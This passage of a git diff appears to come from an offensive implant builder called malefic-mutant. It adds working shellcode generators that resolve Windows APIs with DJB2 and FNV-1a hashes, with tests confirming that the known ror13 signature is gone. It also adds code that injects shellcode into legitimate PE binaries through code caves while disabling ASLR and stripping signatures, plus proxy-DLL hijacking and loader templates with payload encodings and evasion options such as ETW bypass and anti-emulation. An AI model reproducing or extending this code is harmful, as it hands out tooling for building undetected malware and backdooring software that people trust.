code.extend_from_slice(&[0x48, 0x31, 0xd2]); // xor rdx, rdx + code.extend_from_slice(&[0x65, 0x48, 0x8b, 0x52, 0x60]); // mov rdx, gs:[rdx+0x60] (PEB) + code.extend_from_slice(&[0x48, 0x8b, 0x52, 0x18]); // mov rdx, [rdx+0x18] (Ldr) + code.extend_from_slice(&[0x48, 0x8b, 0x52, 0x20]); // mov rdx, [rdx+0x20] (InMemoryOrderModuleList) + + // === Module loop start === + let module_loop_top = code.len(); + + // Load module name pointer + length + code.extend_from_slice(&[0x48, 0x8b, 0x72, 0x50]); // mov rsi, [rdx+0x50] (BaseDllName.Buffer) + code.extend_from_slice(&[0x48, 0x0f, 0xb7, 0x4a, 0x4a]); // movzx rcx, word [rdx+0x4a] (MaximumLength) + + // Init module hash: mov r9d, 5381 (0x1505) + code.extend_from_slice(&[0x41, 0xb9, 0x05, 0x15, 0x00, 0x00]); // mov r9d, 0x1505 + + // === DJB2 module name hash loop === + // hash = hash * 33 + c (with uppercase conversion for case-insensitive matching) + code.extend_from_slice(&[0x48, 0x31, 0xc0]); // xor rax, rax + let mod_hash_loop = code.len(); + code.push(0xac); // lodsb + // Uppercase conversion (matches ror13 block_api behavior) + code.extend_from_slice(&[0x3c, 0x61]); // cmp al, 0x61 ('a') + code.extend_from_slice(&[0x7c, 0x02]); // jl +2 (skip sub) + code.extend_from_slice(&[0x2c, 0x20]); // sub al, 0x20 (to uppercase) + // r9d = r9d * 33: imul r9d, r9d, 33 + code.extend_from_slice(&[0x45, 0x6b, 0xc9, 0x21]); // imul r9d, r9d, 33 + code.extend_from_slice(&[0x41, 0x01, 0xc1]); // add r9d, eax + code.push(0xe2); // loop + let loop_offset = (mod_hash_loop as isize) - (code.len() as isize + 1); + code.push(loop_offset as u8); // rel8 back to lodsb + + // Save module hash + module pointer + code.push(0x52); // push rdx + code.extend_from_slice(&[0x41, 0x51]); // push r9 + + // === Export table walk === + code.extend_from_slice(&[0x48, 0x8b, 0x52, 0x20]); // mov rdx, [rdx+0x20] (InInitOrder -> DllBase) + code.extend_from_slice(&[0x8b, 0x42, 0x3c]); // mov eax, [rdx+0x3c] (e_lfanew) + code.extend_from_slice(&[0x48, 0x01, 0xd0]); // add rax, rdx + code.extend_from_slice(&[0x8b, 0x80, 0x88, 0x00, 0x00, 0x00]); // mov eax, [rax+0x88] (export dir RVA) + code.extend_from_slice(&[0x48, 0x85, 0xc0]); // test rax, rax + + // jz skip_module (will fixup) + code.push(0x74); + let jz_skip_pos = code.len(); + code.push(0x00); // placeholder + + code.extend_from_slice(&[0x48, 0x01, 0xd0]); // add rax, rdx + code.push(0x50); // push rax (save export dir) + code.extend_from_slice(&[0x8b, 0x48, 0x18]); // mov ecx, [rax+0x18] (NumberOfNames) + code.extend_from_slice(&[0x44, 0x8b, 0x40, 0x20]); // mov r8d, [rax+0x20] (AddressOfNames RVA) + code.extend_from_slice(&[0x49, 0x01, 0xd0]); // add r8, rdx + + // === Function name loop === + // jnz jumps back here (before jcxz) to re-check rcx==0 each iteration, + // matching ror13 block_api control flow and preventing rcx underflow + let func_loop_top = code.len(); + + // jcxz next_module (skip if no more names) + code.push(0xe3); + let jcxz_pos = code.len(); + code.push(0x00); // placeholder + + code.extend_from_slice(&[0x48, 0xff, 0xc9]); // dec rcx + code.extend_from_slice(&[0x41, 0x8b, 0x34, 0x88]); // mov esi, [r8+rcx*4] + code.extend_from_slice(&[0x48, 0x01, 0xd6]); // add rsi, rdx + + // Init func hash: mov r9d, 5381 + code.extend_from_slice(&[0x41, 0xb9, 0x05, 0x15, 0x00, 0x00]); // mov r9d, 0x1505 + + // DJB2 function name hash loop + code.extend_from_slice(&[0x48, 0x31, 0xc0]); // xor rax, rax + let func_hash_loop = code.len(); + code.push(0xac); // lodsb + code.extend_from_slice(&[0x45, 0x6b, 0xc9, 0x21]); // imul r9d, r9d, 33 + code.extend_from_slice(&[0x41, 0x01, 0xc1]); // add r9d, eax + code.extend_from_slice(&[0x38, 0xe0]); // cmp al, ah (test null terminator) + code.push(0x75); // jnz + let func_loop_offset = func_hash_loop as isize - (code.len() as isize + 1); + code.push(func_loop_offset as u8); + + // Combine: add r9, [rsp+8] (add module hash) + code.extend_from_slice(&[0x4c, 0x03, 0x4c, 0x24, 0x08]); + // Compare: cmp r9d, r10d (target hash) + code.extend_from_slice(&[0x45, 0x39, 0xd1]); + // jnz next_func + code.push(0x75); + let jnz_next_func = func_loop_top as isize - (code.len() as isize + 1); + code.push(jnz_next_func as u8); + + // === Found: resolve address === + code.push(0x58); // pop rax (export dir) + code.extend_from_slice(&[0x44, 0x8b, 0x40, 0x24]); // mov r8d, [rax+0x24] (AddressOfNameOrdinals) + code.extend_from_slice(&[0x49, 0x01, 0xd0]); // add r8, rdx + code.extend_from_slice(&[0x66, 0x41, 0x8b, 0x0c, 0x48]); // mov cx, [r8+rcx*2] + code.extend_from_slice(&[0x44, 0x8b, 0x40, 0x1c]); // mov r8d, [rax+0x1c] (AddressOfFunctions) + code.extend_from_slice(&[0x49, 0x01, 0xd0]); // add r8, rdx + code.extend_from_slice(&[0x41, 0x8b, 0x04, 0x88]); // mov eax, [r8+rcx*4] + code.extend_from_slice(&[0x48, 0x01, 0xd0]); // add rax, rdx + + // === Dispatch: restore regs + jump === + code.extend_from_slice(&[0x41, 0x58]); // pop r8 (was module hash) + code.extend_from_slice(&[0x41, 0x58]); // pop r8 (was module ptr) + code.push(0x5e); // pop rsi + code.push(0x59); // pop rcx + code.push(0x5a); // pop rdx + code.extend_from_slice(&[0x41, 0x58]); // pop r8 + code.extend_from_slice(&[0x41, 0x59]); // pop r9 + code.extend_from_slice(&[0x41, 0x5a]); // pop r10 + code.extend_from_slice(&[0x48, 0x83, 0xec, 0x20]); // sub rsp, 0x20 (shadow space) + code.extend_from_slice(&[0x41, 0x52]); // push r10 + code.extend_from_slice(&[0xff, 0xe0]); // jmp rax + + // === Not found in this module: next module === + let not_found_pos = code.len(); + code.push(0x58); // pop rax (clean export dir from stack) + + // Fixup jcxz target + code[jcxz_pos] = (not_found_pos - jcxz_pos - 1) as u8; + + code.extend_from_slice(&[0x41, 0x59]); // pop r9 (module hash) + code.push(0x5a); // pop rdx (module ptr) + code.extend_from_slice(&[0x48, 0x8b, 0x12]); // mov rdx, [rdx] (next module) + + // jmp module_loop_top + code.push(0xe9); + let jmp_offset = (module_loop_top as i32) - (code.len() as i32 + 4); + code.extend_from_slice(&jmp_offset.to_le_bytes()); + + // Fixup jz skip_module + // When jz fires (no export dir), export dir was never pushed, so skip pop rax. + // jz target = not_found_pos + 1 (after the pop rax byte) + code[jz_skip_pos] = (not_found_pos + 1 - jz_skip_pos - 1) as u8; + + code +} + +/// FNV-1a resolver: hash = (hash ^ c) * 0x01000193, init = 0x811c9dc5 +fn generate_fnv1a_resolver_x64() -> Vec { + let mut code = Vec::with_capacity(220); + + // === Save registers === + code.extend_from_slice(&[0x41, 0x51]); // push r9 + code.extend_from_slice(&[0x41, 0x50]); // push r8 + code.push(0x52); // push rdx + code.push(0x51); // push rcx + code.push(0x56); // push rsi + + // === PEB walk === + code.extend_from_slice(&[0x48, 0x31, 0xd2]); // xor rdx, rdx + code.extend_from_slice(&[0x65, 0x48, 0x8b, 0x52, 0x60]); // mov rdx, gs:[rdx+0x60] + code.extend_from_slice(&[0x48, 0x8b, 0x52, 0x18]); // mov rdx, [rdx+0x18] + code.extend_from_slice(&[0x48, 0x8b, 0x52, 0x20]); // mov rdx, [rdx+0x20] + + let module_loop_top = code.len(); + + code.extend_from_slice(&[0x48, 0x8b, 0x72, 0x50]); // mov rsi, [rdx+0x50] + code.extend_from_slice(&[0x48, 0x0f, 0xb7, 0x4a, 0x4a]); // movzx rcx, word [rdx+0x4a] + + // Init module hash: mov r9d, 0x811c9dc5 + code.extend_from_slice(&[0x41, 0xb9, 0xc5, 0x9d, 0x1c, 0x81]); // mov r9d, 0x811c9dc5 + + // FNV-1a module hash loop (with uppercase conversion) + code.extend_from_slice(&[0x48, 0x31, 0xc0]); // xor rax, rax + let mod_hash_loop = code.len(); + code.push(0xac); // lodsb + // Uppercase conversion (matches ror13 block_api behavior) + code.extend_from_slice(&[0x3c, 0x61]); // cmp al, 0x61 ('a') + code.extend_from_slice(&[0x7c, 0x02]); // jl +2 (skip sub) + code.extend_from_slice(&[0x2c, 0x20]); // sub al, 0x20 (to uppercase) + // r9d ^= eax + code.extend_from_slice(&[0x41, 0x31, 0xc1]); // xor r9d, eax + // r9d *= 0x01000193: imul r9d, r9d, 0x01000193 + code.extend_from_slice(&[0x45, 0x69, 0xc9, 0x93, 0x01, 0x00, 0x01]); // imul r9d, r9d, 0x01000193 + code.push(0xe2); // loop + let loop_offset = mod_hash_loop as isize - (code.len() as isize + 1); + code.push(loop_offset as u8); + + code.push(0x52); // push rdx + code.extend_from_slice(&[0x41, 0x51]); // push r9 + + // === Export table walk (identical structure) === + code.extend_from_slice(&[0x48, 0x8b, 0x52, 0x20]); + code.extend_from_slice(&[0x8b, 0x42, 0x3c]); + code.extend_from_slice(&[0x48, 0x01, 0xd0]); + code.extend_from_slice(&[0x8b, 0x80, 0x88, 0x00, 0x00, 0x00]); + code.extend_from_slice(&[0x48, 0x85, 0xc0]); + + code.push(0x74); + let jz_skip_pos = code.len(); + code.push(0x00); + + code.extend_from_slice(&[0x48, 0x01, 0xd0]); + code.push(0x50); + code.extend_from_slice(&[0x8b, 0x48, 0x18]); + code.extend_from_slice(&[0x44, 0x8b, 0x40, 0x20]); + code.extend_from_slice(&[0x49, 0x01, 0xd0]); + + // === Function name loop === + // jnz jumps back here (before jcxz) to re-check rcx==0 each iteration + let func_loop_top = code.len(); + + code.push(0xe3); + let jcxz_pos = code.len(); + code.push(0x00); + + code.extend_from_slice(&[0x48, 0xff, 0xc9]); // dec rcx + code.extend_from_slice(&[0x41, 0x8b, 0x34, 0x88]); // mov esi, [r8+rcx*4] + code.extend_from_slice(&[0x48, 0x01, 0xd6]); // add rsi, rdx + + // Init func hash: mov r9d, 0x811c9dc5 + code.extend_from_slice(&[0x41, 0xb9, 0xc5, 0x9d, 0x1c, 0x81]); + + // FNV-1a function hash loop + code.extend_from_slice(&[0x48, 0x31, 0xc0]); // xor rax, rax + let func_hash_loop = code.len(); + code.push(0xac); // lodsb + code.extend_from_slice(&[0x41, 0x31, 0xc1]); // xor r9d, eax + code.extend_from_slice(&[0x45, 0x69, 0xc9, 0x93, 0x01, 0x00, 0x01]); // imul r9d, r9d, 0x01000193 + code.extend_from_slice(&[0x38, 0xe0]); // cmp al, ah + code.push(0x75); + let func_loop_offset = func_hash_loop as isize - (code.len() as isize + 1); + code.push(func_loop_offset as u8); + + code.extend_from_slice(&[0x4c, 0x03, 0x4c, 0x24, 0x08]); + code.extend_from_slice(&[0x45, 0x39, 0xd1]); + code.push(0x75); + let jnz_next_func = func_loop_top as isize - (code.len() as isize + 1); + code.push(jnz_next_func as u8); + + // === Found === + code.push(0x58); + code.extend_from_slice(&[0x44, 0x8b, 0x40, 0x24]); + code.extend_from_slice(&[0x49, 0x01, 0xd0]); + code.extend_from_slice(&[0x66, 0x41, 0x8b, 0x0c, 0x48]); + code.extend_from_slice(&[0x44, 0x8b, 0x40, 0x1c]); + code.extend_from_slice(&[0x49, 0x01, 0xd0]); + code.extend_from_slice(&[0x41, 0x8b, 0x04, 0x88]); + code.extend_from_slice(&[0x48, 0x01, 0xd0]); + + // === Dispatch === + code.extend_from_slice(&[0x41, 0x58]); + code.extend_from_slice(&[0x41, 0x58]); + code.push(0x5e); + code.push(0x59); + code.push(0x5a); + code.extend_from_slice(&[0x41, 0x58]); + code.extend_from_slice(&[0x41, 0x59]); + code.extend_from_slice(&[0x41, 0x5a]); + code.extend_from_slice(&[0x48, 0x83, 0xec, 0x20]); + code.extend_from_slice(&[0x41, 0x52]); + code.extend_from_slice(&[0xff, 0xe0]); + + // === Next module === + let not_found_pos = code.len(); + code.push(0x58); + + code[jcxz_pos] = (not_found_pos - jcxz_pos - 1) as u8; + + code.extend_from_slice(&[0x41, 0x59]); + code.push(0x5a); + code.extend_from_slice(&[0x48, 0x8b, 0x12]); + + code.push(0xe9); + let jmp_offset = (module_loop_top as i32) - (code.len() as i32 + 4); + code.extend_from_slice(&jmp_offset.to_le_bytes()); + + code[jz_skip_pos] = (not_found_pos + 1 - jz_skip_pos - 1) as u8; + + code +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_ror13_resolver_matches_constant() { + let resolver = generate_block_api_x64(&HashAlgorithm::Ror13); + assert_eq!(resolver.len(), 192, "ror13 resolver should be 192 bytes"); + assert_eq!(resolver, super::super::pe::BLOCK_API.to_vec()); + } + + #[test] + fn test_djb2_resolver_no_ror13_signature() { + let resolver = generate_block_api_x64(&HashAlgorithm::Djb2); + // Should NOT contain ror r9d, 0x0d (41 c1 c9 0d) + let ror13_sig = [0x41u8, 0xc1, 0xc9, 0x0d]; + assert!( + !resolver.windows(4).any(|w| w == ror13_sig), + "DJB2 resolver should not contain ror13 signature bytes" + ); + // Should contain DJB2 init value 5381 = 0x1505 + let init_val = [0x05u8, 0x15, 0x00, 0x00]; + assert!( + resolver.windows(4).any(|w| w == init_val), + "DJB2 resolver should contain init value 5381" + ); + } + + #[test] + fn test_fnv1a_resolver_no_ror13_signature() { + let resolver = generate_block_api_x64(&HashAlgorithm::Fnv1a); + let ror13_sig = [0x41u8, 0xc1, 0xc9, 0x0d]; + assert!( + !resolver.windows(4).any(|w| w == ror13_sig), + "FNV-1a resolver should not contain ror13 signature bytes" + ); + // Should contain FNV prime 0x01000193 + let prime = [0x93u8, 0x01, 0x00, 0x01]; + assert!( + resolver.windows(4).any(|w| w == prime), + "FNV-1a resolver should contain FNV prime" + ); + } + + #[test] + fn test_resolver_sizes_reasonable() { + for algo in &[ + HashAlgorithm::Ror13, + HashAlgorithm::Djb2, + HashAlgorithm::Fnv1a, + ] { + let resolver = generate_block_api_x64(algo); + assert!( + resolver.len() >= 150 && resolver.len() <= 250, + "{:?} resolver size {} out of range [150, 250]", + algo, + resolver.len() + ); + } + } + + #[test] + fn test_all_resolvers_start_with_push_sequence() { + // All resolvers should start with push r9; push r8; push rdx; push rcx; push rsi + let expected_start = [0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56]; + for algo in &[ + HashAlgorithm::Ror13, + HashAlgorithm::Djb2, + HashAlgorithm::Fnv1a, + ] { + let resolver = generate_block_api_x64(algo); + assert_eq!( + &resolver[..7], + &expected_start, + "{:?} resolver should start with standard push sequence", + algo + ); + } + } +} diff --git a/malefic-mutant/src/tool/loader/mod.rs b/malefic-mutant/src/tool/loader/mod.rs new file mode 100644 index 0000000..2309dca --- /dev/null +++ b/malefic-mutant/src/tool/loader/mod.rs @@ -0,0 +1,29 @@ +//! Loader generation framework +//! +//! Supports multiple loader generation strategies: +//! - Template: Random template-based loader generation +//! - ProxyDLL: DLL proxying loader (existing functionality) +//! - Patch: Binary patching loader + +pub mod bdf; +pub mod patch; +pub mod proxydll_loader; +pub mod template; + +use anyhow::Result; + +pub use patch::PatchLoader; +#[allow(unused_imports)] +pub use proxydll_loader::ProxyDllLoader; +#[allow(unused_imports)] +pub use template::TemplateLoader; + +/// Trait for loader generators +#[allow(dead_code)] +pub trait LoaderGenerator { + /// Generate loader with the given shellcode/payload + fn generate(&self, payload: &[u8]) -> Result>; + + /// Get loader type name + fn name(&self) -> &'static str; +} diff --git a/malefic-mutant/src/tool/loader/patch.rs b/malefic-mutant/src/tool/loader/patch.rs new file mode 100644 index 0000000..98a737d --- /dev/null +++ b/malefic-mutant/src/tool/loader/patch.rs @@ -0,0 +1,101 @@ +//! Patch-based loader generation using BDF (Backdoor Factory) +//! +//! Injects shellcode into existing PE binaries via code cave or new section. + +use super::bdf::evasion::StubEvasion; +use super::bdf::pe::{ExecutionTechnique, PatchPeOptions, ThreadWait}; +use super::LoaderGenerator; +use anyhow::Result; + +/// Patch loader configuration +#[derive(Debug, Clone)] +pub struct PatchLoader { + /// Target PE binary path + pub target_binary: Option, + /// Force adding a new section + pub add_section: bool, + /// Section name for new section + pub section_name: String, + /// Minimum code cave size + pub min_cave_size: usize, + /// Disable ASLR + pub disable_aslr: bool, + /// Zero certificate table + pub zero_cert: bool, + /// Thread wait strategy + pub thread_wait: ThreadWait, + /// Execution technique + pub execution_technique: ExecutionTechnique, + /// Stub evasion configuration + pub evasion: StubEvasion, +} + +impl Default for PatchLoader { + fn default() -> Self { + Self { + target_binary: None, + add_section: false, + section_name: ".sdata".to_string(), + min_cave_size: 380, + disable_aslr: true, + zero_cert: true, + thread_wait: ThreadWait::None, + execution_technique: ExecutionTechnique::CreateThread, + evasion: StubEvasion::default(), + } + } +} + +impl PatchLoader { + /// Patch the target PE binary with the given shellcode + pub fn patch(&self, shellcode: &[u8]) -> Result> { + let target = self + .target_binary + .as_ref() + .ok_or_else(|| anyhow::anyhow!("Target binary path is required"))?; + + let data = std::fs::read(target) + .map_err(|e| anyhow::anyhow!("Failed to read target binary '{}': {}", target, e))?; + + let options = PatchPeOptions { + add_section: self.add_section, + section_name: self.section_name.clone(), + min_cave_size: self.min_cave_size, + disable_aslr: self.disable_aslr, + zero_cert: self.zero_cert, + thread_wait: self.thread_wait.clone(), + execution_technique: self.execution_technique.clone(), + evasion: self.evasion.clone(), + }; + + super::bdf::pe::patch_pe(&data, shellcode, &options) + } + + /// Find code caves in the target PE binary + pub fn find_caves(&self) -> Result> { + let target = self + .target_binary + .as_ref() + .ok_or_else(|| anyhow::anyhow!("Target binary path is required"))?; + + let data = std::fs::read(target) + .map_err(|e| anyhow::anyhow!("Failed to read target binary '{}': {}", target, e))?; + + let parsed = goblin::pe::PE::parse(&data) + .map_err(|e| anyhow::anyhow!("Failed to parse PE: {}", e))?; + + let caves = super::bdf::pe::find_pe_caves(&parsed, &data, self.min_cave_size); + + Ok(caves) + } +} + +impl LoaderGenerator for PatchLoader { + fn generate(&self, payload: &[u8]) -> Result> { + self.patch(payload) + } + + fn name(&self) -> &'static str { + "patch" + } +} diff --git a/malefic-mutant/src/tool/loader/proxydll_loader.rs b/malefic-mutant/src/tool/loader/proxydll_loader.rs new file mode 100644 index 0000000..ac04170 --- /dev/null +++ b/malefic-mutant/src/tool/loader/proxydll_loader.rs @@ -0,0 +1,56 @@ +//! ProxyDLL-based loader generation +//! Reuses existing proxydll module functionality +#![allow(dead_code)] + +use super::LoaderGenerator; +use crate::tool::proxydll::update_proxydll; +use anyhow::Result; + +/// ProxyDLL loader configuration +#[derive(Debug, Clone, Default)] +pub struct ProxyDllLoader { + pub raw_dll: String, + pub proxied_dll: String, + pub proxy_dll: String, + pub hijacked_exports: Vec, + pub use_native_thread: bool, + pub use_block: bool, + pub use_prelude: bool, + pub hijacked_dllmain: bool, +} + +impl ProxyDllLoader { + pub fn new(raw_dll: &str, proxied_dll: &str, proxy_dll: &str) -> Self { + Self { + raw_dll: raw_dll.to_string(), + proxied_dll: proxied_dll.to_string(), + proxy_dll: proxy_dll.to_string(), + ..Default::default() + } + } + + /// Generate proxydll project files (does not compile) + pub fn generate_project(&self) -> Result<()> { + let hijacked: Vec<&str> = self.hijacked_exports.iter().map(|s| s.as_str()).collect(); + update_proxydll( + &self.raw_dll, + &self.proxied_dll, + &self.proxy_dll, + &hijacked, + self.use_native_thread, + self.use_block, + self.use_prelude, + self.hijacked_dllmain, + ) + } +} + +impl LoaderGenerator for ProxyDllLoader { + fn generate(&self, _payload: &[u8]) -> Result> { + anyhow::bail!("ProxyDLL generates source files. Use generate_project() method.") + } + + fn name(&self) -> &'static str { + "proxydll" + } +} diff --git a/malefic-mutant/src/tool/loader/template.rs b/malefic-mutant/src/tool/loader/template.rs new file mode 100644 index 0000000..de6f2cf --- /dev/null +++ b/malefic-mutant/src/tool/loader/template.rs @@ -0,0 +1,248 @@ +//! Template-based loader generation +//! Integrates with malefic-loader templates + +use super::LoaderGenerator; +use anyhow::Result; +use std::process::Command; + +use crate::config::EvaderConfig; + +/// All available loader template names (Community Edition) +pub const LOADER_NAMES: &[&str] = &[ + "basic_template", + "func_ptr", +]; + +/// Encoding type to feature name mapping +pub const ENCODING_FEATURES: &[(&str, &str)] = &[ + ("xor", "enc_xor"), + ("uuid", "enc_uuid"), + ("mac", "enc_mac"), + ("ipv4", "enc_ipv4"), + ("base64", "enc_base64"), + ("base45", "enc_base45"), + ("base58", "enc_base58"), + ("aes", "enc_aes"), + ("aes2", "enc_aes2"), + ("des", "enc_des"), + ("chacha", "enc_chacha"), + ("rc4", "enc_rc4"), +]; + +/// Template loader configuration +#[derive(Debug, Clone)] +pub struct TemplateLoader { + pub template_name: Option, + pub encoding: Option, + pub debug: bool, + pub evader: Option, +} + +impl Default for TemplateLoader { + fn default() -> Self { + Self { + template_name: None, + encoding: None, + debug: false, + evader: None, + } + } +} + +impl TemplateLoader { + /// Create with specific template + pub fn with_template(name: &str) -> Self { + Self { + template_name: Some(name.to_string()), + encoding: None, + debug: false, + evader: None, + } + } + + /// Create with random template selection + pub fn random() -> Self { + Self { + template_name: Some(random_loader().to_string()), + encoding: None, + debug: false, + evader: None, + } + } + + /// Set encoding method + pub fn with_encoding(mut self, encoding: &str) -> Self { + self.encoding = Some(encoding.to_lowercase()); + self + } + + /// Enable debug output + pub fn with_debug(mut self, debug: bool) -> Self { + self.debug = debug; + self + } + + /// Attach evader configuration (controls which evasion features are compiled in) + pub fn with_evader(mut self, evader: EvaderConfig) -> Self { + self.evader = Some(evader); + self + } + + /// Get selected template name (random if not specified) + pub fn get_template(&self) -> &str { + self.template_name + .as_deref() + .unwrap_or_else(|| random_loader()) + } + + /// List all available templates + #[allow(dead_code)] + pub fn list_templates() -> &'static [&'static str] { + LOADER_NAMES + } + + /// Get the encoding feature name for a given encoding type + fn encoding_feature(encoding: &str) -> Result<&'static str> { + let enc_lower = encoding.to_lowercase(); + for &(name, feature) in ENCODING_FEATURES { + if name == enc_lower { + return Ok(feature); + } + } + anyhow::bail!( + "Unknown encoding: {}. Available: {}", + encoding, + ENCODING_FEATURES + .iter() + .map(|(n, _)| *n) + .collect::>() + .join(", ") + ); + } + + /// Write encoded payload + key + extra to generated/ directory + pub fn write_payload(encoded: &[u8], key: &[u8], extra: &[u8]) -> Result<()> { + let gen_dir = std::path::Path::new("malefic-starship/generated"); + std::fs::create_dir_all(gen_dir)?; + std::fs::write(gen_dir.join("payload.enc"), encoded)?; + std::fs::write(gen_dir.join("payload.key"), key)?; + std::fs::write(gen_dir.join("payload.extra"), extra)?; + Ok(()) + } + + /// Clear generated payload files (reset to empty) + pub fn clear_payload() -> Result<()> { + let gen_dir = std::path::Path::new("malefic-starship/generated"); + std::fs::create_dir_all(gen_dir)?; + std::fs::write(gen_dir.join("payload.enc"), b"")?; + std::fs::write(gen_dir.join("payload.key"), b"")?; + std::fs::write(gen_dir.join("payload.extra"), b"")?; + Ok(()) + } + + /// Build the loader binary + pub fn build(&self, release: bool, target: &str) -> Result { + let template = self.get_template(); + + // Validate template name + if !LOADER_NAMES.contains(&template) { + anyhow::bail!("Unknown template: {}", template); + } + + // Build features string + let mut features = vec![template.to_string()]; + + if let Some(ref enc) = self.encoding { + let enc_feature = Self::encoding_feature(enc)?; + features.push(enc_feature.to_string()); + features.push("embedded_payload".to_string()); + } + + if self.debug { + features.push("debug".to_string()); + } + + // Append evader features from config + if let Some(ref e) = self.evader { + if e.anti_emu { + features.push("evader_anti_emu".to_string()); + } + if e.etw_pass { + features.push("evader_etw_pass".to_string()); + } + if e.god_speed { + features.push("evader_god_speed".to_string()); + } + if e.sleep_encrypt { + features.push("evader_sleep_encrypt".to_string()); + } + if e.anti_forensic { + features.push("evader_anti_forensic".to_string()); + } + if e.cfg_patch { + features.push("evader_cfg_patch".to_string()); + } + if e.api_untangle { + features.push("evader_api_untangle".to_string()); + } + if e.normal_api { + features.push("evader_normal_api".to_string()); + } + } + + let features_str = features.join(","); + + let mut cmd = Command::new("cargo"); + cmd.arg("+nightly-2023-09-18") + .arg("build") + .arg("--manifest-path") + .arg("malefic-starship/Cargo.toml") + .arg("--target") + .arg(target) + .arg("--features") + .arg(&features_str); + + if release { + cmd.arg("--release"); + } + + let output = cmd.output()?; + if !output.status.success() { + anyhow::bail!("Build failed: {}", String::from_utf8_lossy(&output.stderr)); + } + + let profile = if release { "release" } else { "debug" }; + let ext = if target.contains("windows") { + ".exe" + } else { + "" + }; + let binary_path = std::path::PathBuf::from(format!( + "malefic-starship/target/{}/{}/starship{}", + target, profile, ext + )); + + Ok(binary_path) + } +} + +/// Get a random loader name +pub fn random_loader() -> &'static str { + use std::time::{SystemTime, UNIX_EPOCH}; + let seed = SystemTime::now() + .duration_since(UNIX_EPOCH) + .unwrap() + .as_nanos() as usize; + LOADER_NAMES[seed % LOADER_NAMES.len()] +} + +impl LoaderGenerator for TemplateLoader { + fn generate(&self, _payload: &[u8]) -> Result> { + let path = self.build(true, "x86_64-pc-windows-gnu")?; + std::fs::read(&path).map_err(|e| anyhow::anyhow!("Failed to read binary: {}", e)) + } + + fn name(&self) -> &'static str { + "template" + } +} diff --git a/malefic-mutant/src/tool/mod.rs b/malefic-mutant/src/tool/mod.rs index dea7b33..cf5e5c8 100644 --- a/malefic-mutant/src/tool/mod.rs +++ b/malefic-mutant/src/tool/mod.rs @@ -1,6 +1,12 @@ +pub mod binder; +pub mod encoder; +pub mod entropy; +pub mod icon; +pub mod loader; pub mod patch; pub mod pe; pub mod proxydll; pub mod sigforge; pub mod srdi; pub mod strip; +pub mod watermark; diff --git a/malefic-mutant/src/tool/patch.rs b/malefic-mutant/src/tool/patch.rs index 6dcd5cd..36049d7 100644 --- a/malefic-mutant/src/tool/patch.rs +++ b/malefic-mutant/src/tool/patch.rs @@ -4,6 +4,7 @@ use std::fs; use std::path::{Path, PathBuf}; const BLOCK_LEN: usize = 64; +const CONFIG_BLOB_PREFIX: &[u8] = b"CFGv3B64"; #[derive(Clone, Debug, ValueEnum)] pub enum PatchField { @@ -37,6 +38,7 @@ impl PatchField { } } +#[allow(dead_code)] pub struct PatchOptions<'a> { pub file: &'a str, pub field: PatchField, @@ -50,11 +52,13 @@ pub struct PatchOptions<'a> { pub xor_key: &'a [u8], } +#[allow(dead_code)] pub struct PatchOutcome { pub offset: usize, pub output_path: PathBuf, } +#[allow(dead_code)] pub fn patch_binary(opts: &PatchOptions) -> Result { let file_path = PathBuf::from(opts.file); let mut data = fs::read(&file_path) @@ -127,6 +131,7 @@ pub fn patch_binary(opts: &PatchOptions) -> Result { }) } +#[allow(dead_code)] fn determine_current_bytes(opts: &PatchOptions) -> Result<(Vec, String)> { if let Some(hex) = opts.current_hex.as_ref() { let bytes = parse_hex_like(hex)?; @@ -200,6 +205,7 @@ fn find_occurrences(haystack: &[u8], needle: &[u8]) -> Vec { positions } +#[allow(dead_code)] fn parse_offset(text: &str) -> Result { let trimmed = text.trim(); let value = if let Some(hex) = trimmed @@ -218,7 +224,17 @@ fn default_output_path(original: &Path) -> PathBuf { .file_name() .map(|s| s.to_string_lossy().into_owned()) .unwrap_or_else(|| "patched.bin".to_string()); - let patched_name = format!("{}.patched", file_name); + + // Generate patched filename: "foo.exe" -> "foo-patched.exe", "foo" -> "foo-patched" + let patched_name = if let Some(dot_pos) = file_name.rfind('.') { + // Has extension: insert "-patched" before the extension + let (stem, ext) = file_name.split_at(dot_pos); + format!("{}-patched{}", stem, ext) + } else { + // No extension (ELF/Mach-O): append "-patched" + format!("{}-patched", file_name) + }; + let default_path = PathBuf::from(patched_name.clone()); original .parent() @@ -247,6 +263,18 @@ pub struct BatchPatchOutcome { pub output_path: PathBuf, } +pub struct ConfigBlobPatchOptions { + pub file: String, + pub blob_b64: String, + pub blob_len: usize, + pub output: Option, +} + +pub struct ConfigBlobPatchOutcome { + pub offset: usize, + pub output_path: PathBuf, +} + /// Patch multiple fields in a single pass pub fn batch_patch_binary(opts: &BatchPatchOptions) -> Result { if opts.patches.is_empty() { @@ -332,3 +360,80 @@ pub fn batch_patch_binary(opts: &BatchPatchOptions) -> Result output_path, }) } + +/// Padding byte used in the config blob slot. +const PAD_BYTE: u8 = b'#'; + +/// Patch the runtime config blob located by its ASCII prefix marker. +pub fn patch_config_blob(opts: &ConfigBlobPatchOptions) -> Result { + if opts.blob_b64.len() != opts.blob_len { + bail!( + "blob length mismatch: expected {} bytes, got {}", + opts.blob_len, + opts.blob_b64.len() + ); + } + if !opts.blob_b64.as_bytes().starts_with(CONFIG_BLOB_PREFIX) { + bail!( + "blob text must start with '{}'", + std::str::from_utf8(CONFIG_BLOB_PREFIX).unwrap() + ); + } + + let file_path = PathBuf::from(&opts.file); + let mut data = fs::read(&file_path) + .with_context(|| format!("failed to read binary '{}'", file_path.display()))?; + + let candidates = find_occurrences(&data, CONFIG_BLOB_PREFIX); + if candidates.is_empty() { + bail!("failed to locate config blob prefix in binary"); + } + + // Filter candidates: the real config slot has '#' padding after the prefix + let (start, end) = candidates + .into_iter() + .filter_map(|pos| { + let start = pos; + let end = start.checked_add(opts.blob_len)?; + if end > data.len() { + return None; + } + + // Verify this is the real slot: bytes after prefix should be '#' padding + // Check a sample of bytes right after the prefix + let payload_start = start + CONFIG_BLOB_PREFIX.len(); + let sample_end = (payload_start + 16).min(end); + let sample = data.get(payload_start..sample_end)?; + + // The empty slot has all '#' padding; a patched slot has base64 chars + // Both are valid targets - we just need to exclude code segment occurrences + // Code segments have random bytes (machine instructions), not '#' or base64 + let is_valid_slot = sample.iter().all(|&b| { + b == PAD_BYTE || b.is_ascii_alphanumeric() || b == b'+' || b == b'/' || b == b'=' + }); + + if is_valid_slot { + Some((start, end)) + } else { + None + } + }) + .next() + .ok_or_else(|| anyhow!("could not find valid config slot 